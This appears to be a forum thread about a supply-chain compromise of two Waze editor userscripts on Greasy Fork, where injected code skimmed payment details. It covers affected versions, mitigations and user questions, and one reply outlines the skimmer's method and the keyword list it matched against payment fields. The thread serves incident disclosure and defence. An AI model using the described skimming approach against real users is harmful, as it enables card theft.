What happened?
An inactive script author’s Greasy Fork account was compromised and malicious code was inserted into the following scripts:
WME Junction Angle Info
WME Color Speeds
What did the malicious code do?
An investigation is still under way. So far, we know it was an attempt to scrape payment information (credit card #, cvc, etc). It also collected general information about the host PC. It then attempted to send the information to a server, presumably to store it for malicious use.
Did this affect me?
It’s unlikely that most users were affected. Tampermonkey would not have auto-updated to the malicious version. You would have needed to install the scripts or force them to reinstall from the Greasy Fork website between Feb 1 and when the malicious code was rolled back (JAI: Feb 3, Color Speeds: Feb 4). In addition, Tampermonkey would have displayed a warning as soon as the scripts attempted to send information to the external server unless you have changed certain Tampermonkey security settings, which will be covered in detail in a future post (the CSP security setting in Tampermonkey would not have affected this). If you did not receive this warning, or if you did and you “forbid” it, then your data is likely safe. The warning would have looked similar to this:
What is being done to prevent this type of attack in the future?
As soon as the malicious code was discovered, the inactive author’s account was removed from all Greasy Fork scripts.
Greasy Fork was contacted, and the same code was found in other scripts, not just related to Waze.
Greasy Fork is removing those scripts, banning the author accounts, implementing checks for similar code, and will be enforcing 2FA authentication in the near future. 2FA authentication should essentially eliminate this type of attack.
Waze script authors are being informed and asked to change Greasy Fork passwords and ensure 2FA is enabled.
The abuse was reported to the destination servers’ host.
Posts will be pinned here soon, detailing security recommendations for script users and script authors.
What can I do to help protect myself?
A future post will be created with a comprehensive list of security recommendations so it can be pinned in this forum, but here are some things you can do now:
Ensure you have the latest versions of these scripts. To be certain, it’s recommended to delete and reinstall the scripts.
Create a separate browser profile for Waze activities. Only install TM and Waze-related browser extensions on that profile. Avoid using that profile for activities where any important personal information is involved that you might not want someone else to see, such as credit card #s and personal identification values, e.g. Social Security number in the USA. Do not use that profile to log into sites with access to important personal information like banks, taxes, personal email accounts, shopping, password managers, etc.
If you receive a warning from Tampermonkey like the one in the picture above, examine it carefully. If the warning appears while you’re loading or interacting with a non-Waze page, it’s extremely likely that it’s not a valid request and should be denied. Also, if you don’t recognize the DESTINATION URL, either forbid it immediately, or ask the script author(s) if it’s legitimate. Be very careful, though. A carefully crafted attack could make the URL appear to be legitimate. If in doubt, ask before allowing it.
If you have questions or are unsure if this might have affected you, please reply here and we will try to help.
Yes, the latest versions have removed the malicious code. As of today, the latest versions are:
WME Junction Angle Info: 2.2.16
WME Color Speeds: v2025.02.04.01
Hi, any way to check when was the one before last time the script was updated? JAI was updated 57 minutes ago, so I cannot use the “Last updated field”.
I think I haven’t seen the CORS request screen from JAI, so I think I am clean, but I am not certain at all (especially when CC no’s and Bitwarden vault extension is involved).
Also – could’ve that script accessed the Bitwarden extension in Chromium (Chrome)? The vault should’ve been encrypted and locked 99% of the time with a PIN, but there is always that 1% where I had to access my passwords.
Thanks.
Disclaimer:Don’t take my word for it, I’m not a professional JS userscript writer
After a quick analysis of the compromised code, the code seems to check for the following keywords:
payment, cc, credit, card, checkout, expire, month, year, cvv, cvc, verification, billing, bank, pay, checkout
The script captures detailed information about the user’s device and browsing environment, including hardware details, platform, URLs, and even WebGL renderer info. This could be used for fingerprinting the device. Using Mutation Observers, it monitors for new input fields. The modified script doesn’t seem to check for cookies.
Of course, it sends all of that over to a obfuscated endpoint.
The host was likely setup as a Proxy / VPN endpoint. Circa 500 host names resolve to that same IP address. Good news is the hosting org has blocked many of the other host names; hopefully they took quick and positive action against this one.
Thanks for sharing the details and helping take action for the compromised and other scrips. Looking forward to future security recommendations.
Perhaps Staff/Moderators should make this a banner topic (visible until read)? This has a urgent importance and could result in actual financial loss and devastation for people.
Notified my community.
Also - just a suggestion - perhaps we should make some kind of system for Waze scripts where people can update the scripts, but a second or third look is required before being available. This should be able to fix a cookie grabber vuln for a single person.
However I have no idea what that would be. And how to make it a seamless transition for scriptwriters.
Perhaps Git with pull requests, but there is always a question of freedom (will everybody use it). This is sadly a issue with all userscrips, not just Waze and it also wouldn’t sit right for me to be forced to do everything in one kind of way (like, using the suggested sort of platform and having someone else review the code only I made) while trying to help out a community.
I believe I saw a warning screen like this recently. The phrase “nothing unusual” sounds familiar, and I may have OK’d the default “allow once”. Unfortunately I can’t recall exactly when it happened. It’s possible it was in the short window between February 1 and 3 (I use JAI but not Color Speeds).
On the other hand, I use Chrome only for WME editing and Waze-related GMail. So within the Chrome ecosystem there wouldn’t have been anything to steal, except I suppose my Waze account and Waze-related Gmail account names and passwords.
Could this permission have allowed a script to copy passwords from my Chrome keychain? Could it have allowed scripts outside the browser sandbox into the rest of my OS, other browsers, email, contact list, etc? If not, then hopefully I’m OK.
No. It just looked for credit card numbers by checking against the following strings/words: payment, cc, credit, card, checkout, expire, month, year, cvv, cvc, verification, billing, bank, pay, checkout. Perhaps one may have been in your tab, but not a checkout
That’s the good thing about Chrome profiles. It should in theory keep things seperated.
I updated JAI after the alert, and received version 2.2.15. Upon seeing your post I updated again and now it is at 2.2.16. Was 2.2.15 a compromised version (even though GreasyFork was still hosting it after the hack was announced)?
Huh. Seems the number of affected people should be low since TM would only offer a overwrite and not a update of the script, because the hacker forgot to update the version number WME Junction Angle Info - Version diff
So mostly affected are the people that installed the scripts in the meantime…
A whitelist-only (or whitelist + blacklist) approach is a great way to verify external requests are valid, and we’ll include that as an option in the security recommendations. In the case above, I believe that’s a valid CDN, but it would be great if the script author (@r0den) can verify that.
